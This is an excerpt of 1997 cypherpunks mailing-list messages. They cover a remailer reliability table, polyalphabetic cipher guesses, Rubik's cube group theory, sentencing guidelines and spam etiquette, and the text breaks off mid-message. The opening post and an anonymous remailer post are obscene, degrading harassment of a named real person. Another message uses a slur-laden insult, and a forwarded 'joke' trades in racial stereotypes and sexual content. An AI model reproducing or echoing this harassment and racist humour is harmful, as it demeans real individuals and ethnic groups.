Timmy C. May's 16Kb brain's single convolution is directly wired 
to his rectum for input and his T1 mouth for output. That's 16K 
bits, not bytes. Anal intercourse has caused extensive brain 
damage.

         <o      o>  Timmy C. May
         /-+-- --+X
        />        <\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AwakenToMe@aol.com
Date: Mon, 13 Jan 1997 00:48:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Ma Bell
Message-ID: <970113034802_38185389@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-01-11 15:36:31 EST, mindbenders@hotmail.com (LoRd
oRiOn) writes:

<< .why do Telco
 people and the government blame us hackers for costing them billions of
dollars
 a year to fix the security holes that they have??? >>

 Considering there is a LARGE workload on the employees as it is.. they dont
need more work suddenly that is unneeded. Basically EVERY system has some
kinds of security holes. If noone knows about them.. then it isnt a problem.
If someone is exploiting them and using money from the company illegaly (free
phone service) .. even though it may only be 5 of you doing it.. it has a
LARGE potential to become globally exploited by tons of people. So.. they
have to invest time and money to research the hole and fix it. Thats why.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 13 Jan 1997 02:17:19 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701120729.BAA03801@manifold.algebra.com>
Message-ID: <Pine.SOL.3.93.970113050224.2874B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 12 Jan 1997, Igor Chudov @ home wrote:
> Nurdane Oksas wrote:
> > On Sat, 11 Jan 1997, Igor Chudov @ home wrote:
> > > Dr.Dimitri Vulis KOTM wrote:
> > > > Jew-hating paranoid liar Rich Graves <rcgraves@disposable.com> writes:
> > > > >
> > > > > I would not favor a moderation policy that gave carte blanche to "good guys"
> > > > > to talk about whatever they wanted ("libertarian bullshit" in Chudov's
> > > > > delicate phrasing), but required posts by "bad guys" like Dale (and in certai
> > > > > threads, me -- you never know) to be "about crypto." That's a hypocritical
> > > > > double standard.
> > > > 
> > > > Here's another typical post from Igor's soc.culture.russian.moderated (NOT).
> > > > 
> > > > Igor Chudov, a moderator of s.c.r.m, calls M. Kagalenko "envious eunich", but
> > > > Kagalenko has been banned from posting to s.c.r.m because he objected to its
> > > > creation (i.e. he's on the "blacklist" and his submissions are auto-rejected).
> > > 
> > > but none of the posts in question had ever been posted to scrm.
> > 
> > 	You know well that Kagalenko is most rejected in scrm,
> > 	Poor guy ...not one post, how can that be..?
> 
> How can that be? A good question. It can be because Misha submits
> dozens of articles containing autogenerated garbage. He does it because
> he does not like our newsgroup. We moderators have no other choice
> but to reject these autogenerated articles because our charter prohibits
> us from approving them.

	Sure.

> To protect moderators from mailbombing our charter tells us to put
> such mailbombers into our blacklist, which I do.

	OK.
 
> Once a month I remove Misha from our blacklist, and let him know that
> he indeed had been removed. That usually results in another flood of
> bogus submissions.

	Well, i trust your judgment, not sure of other moderators.
 
[...]
> Apparently Misha likes it this way, and it probably lets him feel more
> important than he really is. Well, if that is so, I have no problem with
> that.
> 
> But I will not bow to him.

	:)

> That's the sad story.

	Thank you .





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 13 Jan 1997 06:53:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701131450.GAA22048@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 13 Jan 97 6:48:59 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
lucifer  lucifer@dhp.com                  ++++++++++++    37:22  99.99%
nym      config@nym.alias.net             **#*#*++#+-#    20:08  99.99%
weasel   config@weasel.owl.de             ++++++-++++   1:15:41  99.96%
mix      mixmaster@remail.obscura.com     +++++++.-++*  2:25:45  99.91%
replay   remailer@replay.com              *+* +--+*+**    35:43  99.87%
winsock  winsock@rigel.cyberpass.net      ------+----   2:54:30  99.81%
balls    remailer@huge.cajones.com        *+******+ **     4:00  99.67%
cyber    alias@alias.cyberpass.net        +++*+ +* +*+    35:01  99.61%
middle   middleman@jpunix.com             ----+++++ -+    53:56  99.60%
exon     remailer@remailer.nl.com         #**#**** ++#     2:26  99.24%
squirrel mix@squirrel.owl.de              ++++ +-++ +   1:18:06  99.21%
dustbin  dustman@athensnet.com            +_.--++-++-   4:39:11  99.18%
extropia remail@miron.vip.best.com        --- -------   4:46:40  98.01%
reno     middleman@cyberpass.net          - --++++   +  1:05:02  97.84%
lead     mix@zifi.genetics.utah.edu             ++++++    35:13  95.73%
haystack haystack@holy.cow.net            + ####++*       39:45  74.33%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 13 Jan 1997 05:59:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701131342.IAA04224@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's mother attempted to pro-choice the unwanted little bastard by 
fishing with a coat hanger in her giant cunt, but failed miserably to pull 
the rabbit and succeeded only in scraping out the contents of little Timmy's 
fetal cranium (not much to begin with).

        O      |'|
       /\      | | Timmy May
      /\ \-------|
     / / |-------|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Mon, 13 Jan 1997 08:47:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fukkin Elite!
In-Reply-To: <199701101909.OAA12433@Arl-Mail-Svc-1.compuserve.com>
Message-ID: <Pine.LNX.3.95.970113084734.14439A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 10 Jan 1997 ice@win.bright.net wrote:

> Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If 
> you want to be Elite come to us. We're Here to help you become the
> Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
> Homepage:www.geocities.com/~pentiumru/icehtml.htm
> We Are THE BEST!! 
> So Check us OUT!

	Damn, maybe I should go watch the movie "Hackers" so I can be
elite too....

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KrAzY Girl <dcoelhok@nermal.santarosa.edu>
Date: Mon, 13 Jan 1997 09:37:36 -0800 (PST)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Fukkin Elite!
In-Reply-To: <Pine.BSF.3.91.970111181351.29780B-100000@mcfeely.bsfs.org>
Message-ID: <Pine.LNX.3.95.970113093412.3924A-100000@nermal.santarosa.edu>
MIME-Version: 1.0
Content-Type: text/plain


you guys aren't the "fukkin elite" if you have to go around tell people
that you're all that.
youre not. give me a "fukkin" break and take a "fukkin" english class. 


> 
> On Fri, 10 Jan 1997 ice@win.bright.net wrote:
> 
> > Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ! 
> > Homepage:www.geocities.com/~pentiumru/icehtml.htm
> > We Are THE BEST!! 
> > So Check us OUT!
> > 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 13 Jan 1997 10:00:59 -0800 (PST)
To: "'MOESCH@aol.com>
Subject: RE: spamming
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970113175916Z-26201@INET-03-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	MOESCH@aol.com

I saw your posting. What is your feelings about spamming?
.....................................................


It is presumptuous and annoying.  This list is aimed at discussions of a
distinct subject, and not intended to be available, like Usenet, to
random disturbances from disinterested parties.

   ..
Blanc

>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 13 Jan 1997 10:47:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: OTA papers
Message-ID: <v02140b00af00318b1fef@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


I came across a couple of very good Office of Technology Assessment papers,
"Electronic Surveillance in a Digital Age (July 1995)."  Download the .pdf
at:

http://www.wws.princeton.edu/~ota/disk1/1995/9513_n.html

Another paper sure to be of interest to many CPs is the excellent
"Information Technologies for the Control of Money Laundering (September
1995)."  Get the .pdf at:

http://www.wws.princeton.edu/~ota/disk1/1995/9529_n.html

Its too bad OTA got the budgetary ax.  I met several of the staff and I
regarded them highly.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 11:01:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199701131901.LAA28570@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:04 PM 1/9/97 -0500, Black Unicorn wrote:
>On Wed, 8 Jan 1997, Mark M. wrote:
>
...

>Sentencing enhancements:
>
>There is a big book called the Federal Sentencing Guidelines Handbook (or
>some such).  To arrive at the appropriate sentence range, you add up the
>points of all the offenses the defendant was convicted of (Assume Bank
>Fraud is 18 points, Murder 35 or whatever- I dont remember them offhand)
>and run across a chart which has "criminal history catagory" on the
>vertical axis.  Where the two meet gives you the sentence range.  I'm not
>near my office right now, but if there is enough interest I will dig up
>the current handbook and run a sample sentencing through.
>
>The most common one I see is "Victims helpless or infirm" which usually
>boosts 2 to 5 points.
>
>Sentencing enhancements are not double jeapordy either.  I don't see how
>you can argue they are.  For example, there is a provision in bank fraud
>sentencing guidelines which enhances the sentence according to the size of
>the loss, and I believe there is a kicker if the financial institution
>folds.
>
>I believe the highest base offense level was "Espionage" or some such.
>
>There are also sentencing limiters.  "Defendant displays clear remorse."
>I think is one.
>
>Go out to a law book store and take a look at the guideline book.  It's
>actually a lot of fun.  "Ok, say I killed my wife for her coke stash and
>recruited my brother to dump the body..."
>
...
>> In one case, the defendant was convicted of possession of cocaine with intent
>> to distribute but was found not guilty of possession of a firearm related to
>> a drug charge (apparently, this is a crime).
>
>It's both a crime and an enhancement for most federal drug offenses.
>

I have seen in the paper where a person has been convicted of using a
scanner in the commition of a felony.  In my opinion, this is exactly how
crypto would be a crime, when using it in the commission of another crime.
In most cases, it seems, the scanner is used to monitor the police bands so
that the criminals will have advance warning when to hide thier actions.  Of
course, around here, a person owning a scanner for monitoring the police and
fire bands is normal.  It is just one more way of gathering news.
Please correct me if any of my facts are in error.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 13 Jan 1997 09:42:45 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: encryption program
In-Reply-To: <853170082.1023956.0@fatmans.demon.co.uk>
Message-ID: <199701131737.LAA04428@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


paul@fatmans.demon.co.uk wrote:
> 
> 
> > > * The two 'e's in the first word have different ciphertext equivalents,
> > >   so it's not a single-alphabet substitution
> > yes
> 
> Could be homophonic substitution or possibly (more probably, in my 
> estimation, polygram substitution. There is also the possibility of a 
> polyalphabetic cipher...
>  
> > I also likes "follows": "vkbcjtp" note how ll gets translated to "bc".
> > That suggest that after some encryption of each letter from the plaintext
> > there is a consecutively increasing number added.
> 
> This tends to suggest polyalphabetic substitution.

what do you mean, polyalphabetic substitution?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Mon, 13 Jan 1997 08:44:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA over Rubiks Cube
Message-ID: <970113114129_373924985@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



This problably wouldn't be to cool a thing to do.  A fella named Douglas
Hopstader(?) wrote a book called Meta-Mathematics (same guy who wrote The
Golden Knot).  In this book he developed (or showed, forget who should get
credit) an algorithm to solve Rubiks cube from any beginning state.

It makes for interesting reading, but kills any attempt to use the cube as a
cipher machine.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 11:45:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: It's a great new year!  telemarketers and solicitors
Message-ID: <199701131945.LAA29089@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 PM 1/9/97 -0500, relia@juno.com wrote:
...
> You have the RIGHT to have negative
>information removed in many instances. My partner and I have put together
>an easy to read, easy to use manual that will explain your rights and may help
>you restore your credit to A+ status. Why pay an attorney $2,000 or some 
>credit counselor $500 or more to do exactly what you can do for yourself?
>
>For less than $15, you can help yourself to better credit. We'll give you
>all the tools you need and explain exactly what to do.
...
>You've probably seen other offers or similar credit repair packages that
>promise overnight results. Anyone who promises a quick overnight fix is
>*lying* to you. It takes time and perseverance to fix your bad credit. 
>But, it can be done!
...
>Don't get ripped off and don't take bad advice that encourages you to break
>the law! Our system WORKS! Our credit repair manual will show you step by
>step how to do it yourself - and it's not hard to do!
...
> We purchased a
>mailing list of folks who should be interested in various products that
>we produce, but mailing lists can be wrong, and we don't want to take your
>time again unnecessarily.  Thanks for your help!
>
I understand that freedom of speech is a basic right, and I understand the
nature of public discourse which is unhindered being more valuable, even if
the signal to noise ratio is higher.
I also subscribe to the idea that in a forum where only speech is possible,
a persons use of that speech is the representation of that person.  (Not
that it never is otherwise.)
What I'm trying to get at is, when does freedom of speech in a "speech only"
environment" become soliciting?  To me, though it is only my opinion, it
seems that a telemarketer wishing to offer wares to a group on a mailing
list should get permission from the lists maintainer.  I apologize if this
is already the case, as my accusations would be pointless.
To me, it seems to be a breach of conduct for a company to use a mailing
list that is not thier own as a mass mailing technique.
Again, these are only my personal opinions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Mon, 13 Jan 1997 12:21:50 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: encryption program
Message-ID: <199701132018.MAA22362@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



I ran a quick Kappa test on it.  There was a nice fat spike at key
length 25, as somebody else suggested, but an almost perfect
correlation at 100.  The message is almost certainly a simple
polyalphabetic cipher with keylength 100.

I've been playing with it, and have maybe 5% of it decoded.  It's
full of really blatent clues.  Kind of fun.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nicolas J. Hammond" <njhm@ns.njh.com>
Date: Mon, 13 Jan 1997 09:02:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA over Rubics cube?
In-Reply-To: <32D9D750.7053@europa.com>
Message-ID: <199701131721.MAA16352@ns.njh.com>
MIME-Version: 1.0
Content-Type: text/plain


Pass me another! wrote ...
> cypherpunks@toad.com wrote:
> > 
> > Just for fun, not that I am sugesting it as a serious encryption
> > method, but has anyone tried exponetion cyphers on the group
> > defined by the Rubics cube? :)
> 
> well....I guess you didn't want a reply to your real email address,
> considering you'd be flamed like a 'mother$##@*(%'.  anyways....Just so
> YOU know I figured out the infamous Rubik's cube when I was 9 years
> old...no solution book, nothing, and beat the world record(ooooo what an
> accomplishment).  I just figured it out...so if I was 9.........geee 
> what do you think?  I could sit down and give you the mathmatical<sp>
> computations...but I have better things to do.  I hope your just trying
> to have a better understanding of cryptography standards, and future
> methods.  Maybe reading some information on algorithms....that might
> help....maybe calc 101  or ignorant 111..or jeez...do you even know
> binary?
> 
> -spanky

Am impressed that you were able to do this aged 9, though 9-yrs-olds
have been known to win US regional championships (back in the early 80s).

The mathematics behind the Rubik's cube are fairly complex and involve
set theory. One of the easiest ways to solve the cube is to find
commutators such that A.B.A'.B' can affect a small group.
Choose A and B so that they intersect in that small group.
Solve the cube by solving a small area and then incrementally build on 
that area until you have your solution. You need 4 "moves" - one
to flip corners, one to move corners, one to flip edges and one to
move edges. They are relatively easy to find if you know what to look for.

There are two "world records" associated with the cube - one is the
fastest time to solve a cube, normally done in competitions, one
is the shortest algorithm in terms of number of moves.
The former makes great TV. Minh Thai of the US won the only
world competition I'm aware of. His average time was 23 seconds.
Problem with competitions is that occasionally you can solve
it very quickly because of the initially pattern and that is why
competitions use averages, typically of at least 3 different timings.
I assume this is your "I beat the world record" claim.
It is common for someone to occasionally solve a cube in under 30 seconds, 
it is almost impossible to get an average under about 25 seconds.

[The only exception is what magicians Paul Daniels (British will know of him)
and David Copperfield (Americans know of him) have done on their TV shows.
They take a cube in front of a studio audience, throw it up in the air
and it is solved by the time it comes down. No camera tricks involved.
Paul did his in a show around 1981-1982, I saw David's TV show around 1988
but it was a repeat so I don't know when it first aired.]

The other "world record", shortest number of moves, is of much more
interest to mathematicians. God's algorithm (the theoretically minimum
number of moves) is 18 (see article on "Magic Cubology", Scientific American,
either March 81 or July 82). In others words you can, in theory, generate any 
pattern (or the reverse, solve any pattern) in 18 moves. 
The shortest actual algorithm used to be 52 moves my
Morwen B. Thistlewaite of England (early 1980s) however I hear that the 
Dutch Cube Club got this down to below 35 (1992).

Getting closer to God's Algorithm is an interesting exercise in 
Set Theory and in solving puzzles. It has some relevance to Cryptography,
but not too much.
Difference is in the mathematical basis of the underlying algorithms.

-- 
Nicolas Hammond                                 NJH Security Consulting, Inc.
njh@njh.com                                     211 East Wesley Road
404 262 1633                                    Atlanta
404 812 1984 (Fax)                              GA 30305-3774




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Mon, 13 Jan 1997 12:25:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
Message-ID: <199701132023.MAA22372@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> what do you mean, polyalphabetic substitution?

Someone can correct me if I'm wrong, but I believe it refers to a cipher
where each character is encrypted individually, using a different
monoalphabetic cipher for each one.  The ciphers repeat after
a certain period, usually the key length.

Vigenere is the simplest polyalphabetic cipher of them all, with
the individual ciphers simply being ROT-n.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 13 Jan 1997 10:38:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New Carmen Sandiego shows announced
In-Reply-To: <Sa90.6d7a@clarinet.com>
Message-ID: <kFDH1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!panix!news.columbia.edu!sol.ctr.columbia.edu!news.msfc.nasa.gov!newsfeed.internetmci.com!howland.erols.net!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!news.idt.net!enews.sgi.com!lll-winken.llnl.gov!fugue.clari.net!funny-request
From: verax@mindspring.com (Serenleono, the Serene Lion)
Newsgroups: rec.humor.funny
Subject: New Carmen Sandiego shows announced
Keywords: chuckle, swearing, racial stereotypes
Message-ID: <Sa90.6d7a@clarinet.com>
Date: Fri, 10 Jan 97 19:30:03 EST
Organization: Lord Tower Productions (USA)
Lines: 57
Approved: funny-request@clari.net


	 BOSTON, M. A. (Freuder) - The two most popular
children's educational game shows -- "Where in the World is
Carmen Sandiego?" and "Where in Time is Carmen Sandiego?" --
now have two new siblings, according to an announcement made
today by WGHB Boston, one of the production entities that
owns the popular programs.   "Where in the World is Carmen
Sandiego?" is a game show which challenges young contestants
on their knowledge of world geography while they "track
down" the infamous villain Carmen Sandiego.  Similarly,
"Where in Time is Carmen Sandiego?" quizes children about
ancient and modern history.

Because of the enormous positive response received from
educators, parents' groups, and kids alike, WGHB Boston,
WPED Pittsburgh, and the Incorporation for Public
Broadcasting this week announced a new set of television
programs to expand their children's educational programming
group.  The two new incarnations will be entitled "Where Dat
Carmen Bitch At?" which challenges contestants on their
knowledge of racial stereotypes, and "Where the Fuck is
Carmen Sandiego?" which quizes young contestants on their
knowledge of the human reproductive system.

from the first broadcast of:
WHERE DAT CARMEN BITCH AT?

QUERIST:  "Okay, contestants, the next question is, 'What do
you call the white man when he oppresses your people?"

CONTESTANT TIMMY:  "A 'honkey'?"
CONTESTANT TRISHA:  "I answer, 'a jive-ass mother fucker'?"
CONTESTANT LAWANDA:  "I also say, 'a jive-ass mutha fucka.'"

QUERIST:  "Right you are, Trisha and Lawanda!  And may the
white man never forget what he has wrought against the tribe
of Shabaaz."


from the first broadcast of:
WHERE THE FUCK IS CARMEN SANDIEGO?

QUERIST:  "Okay, contestants, here's the next question in
our 'testosterone teaser round':  What is the name for
fellatio during which the penis is taken into the throat?"

CONTESTANT TIMMY:  "Uh, I answer a 'Madonna mouthwash'?"
CONTESTANT TRISHA:  "The 'mother of all blow jobs'?"
CONTESTANT LAWANDA:  "That's nasty!  Momma, get me off this
show!"

--
Selected by Jim Griffith.  MAIL your joke to funny@clari.net.
Attribute the joke's source if at all possible.  A Daemon will auto-reply.

Remember: Only ONE joke per submission.  Extra jokes may be rejected.
For the full submission guidelines, see http://comedy.clari.net/rhf/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 12:47:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: sendmail-type thing for Windows
Message-ID: <199701132047.MAA29859@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:00 PM 1/10/97 -0600, Igor Chudov wrote:
>Hi,
>
>Does anyone know of a simple program for windows that can, like
>sendmail, work as a mail agent ans send mail messages from its stdin? I
>am interested in sending email messages from Windoze boxes as part of
>some automated process driven by .BAT files.
>
>i.e., what I need is a program that I could invoke like this
>
>DOS> sendmail some@address.com
>From: sender@originator.com
>To: some@address.com
>Subject: hello
>
>hello
>
I don't know if this will help you, but, I have found that by typing win
winmine.exe at the dos prompt, I am taken straight to minesweeper.  The
program manager window is minimized in this example.
It seems that most of windows programs, when accessed from File/Run act like
command line programs, this is how the File Manager can bring up a text file
in the Write program.  I haven't tried it, but you might try nesting
arguments, for instance WIN WRITE FILE.TXT to see if it comes right up into
Write, working on file.txt.  I will have to get back to you on rather or not
this works, but if it does, and someone has cracked the windows macro
Recorder, such as what you described should be possible from a batch file.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 12:54:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] Re: IMPORTANT: Additional information about UDCM.
Message-ID: <199701132054.MAA29945@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:13 PM 1/10/97 -0600, Igor Chudov wrote:
...
>I am also wondering, I am listed as visitor 189 on his web site. Under
>most optimistic assumptions, if *every* visitor bought his product, he would
>have made $40*188 = $7520.


Of course, it is possible that so many people visited his site that the
counter started over.
For instance, if the counter had 8 digits, perhaps you were visitor number
10000189.  Just a thought.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 13 Jan 1997 13:56:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PBS program - Turing/Enigma
In-Reply-To: <dave_gellerman-ya023580001301971036010001@hernnews.us.newbridge.com>
Message-ID: <60FH1D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


dave_gellerman@newbridge.com (Dave Gellerman) writes:

> In article <01bbfde7$950f4820$fb1093cf@worldnet.worldnet.att.net>, "Tech"
> <TIER-1@worldnet.att.net> wrote:
> 
> > Feb 2,1997 (one 90 minute show) ref: www.pbs.org
> > 
> > bill_h <bill_h@azstarnet.com> wrote in article
> > <32D1F2C1.9B1@azstarnet.com>...
> > > Just caught a teaser on Public Television for an upcoming Mobile
> > > Masterpiece Theatre presentation billed as "the true story of
> > > Alan Turing" titled 'Breaking The Code'.
> > > 
> > > The little bit of clips they showed looked fascinating.
> > > 
> > > Is this a 'new' show or a re-run? Anybody know anything about it?
> > > 
> 
> From the pbs web site:
> 
> 
>        "Breaking the Code" (2/2) Based on the play by Hugh Whitemore and
> the book Alan Turing: the Enigma by
>        Andrew Hodges, this program tells the story of Turing (Derek
> Jacobi), the mathematical genius who was
>        responsible for designing the computer that enabled the allies to
> crack the German Enigma code and, some would
>        argue, win the war. On Churchill's specific instructions, Turing was
> given all the resources he required and his
>        personal behavior was tolerated - Turing was an active homosexual at
> a time when homosexuality was illegal.
>        Amanda Root, Prunella Scales, Harold Pinter, Alun Armstrong and
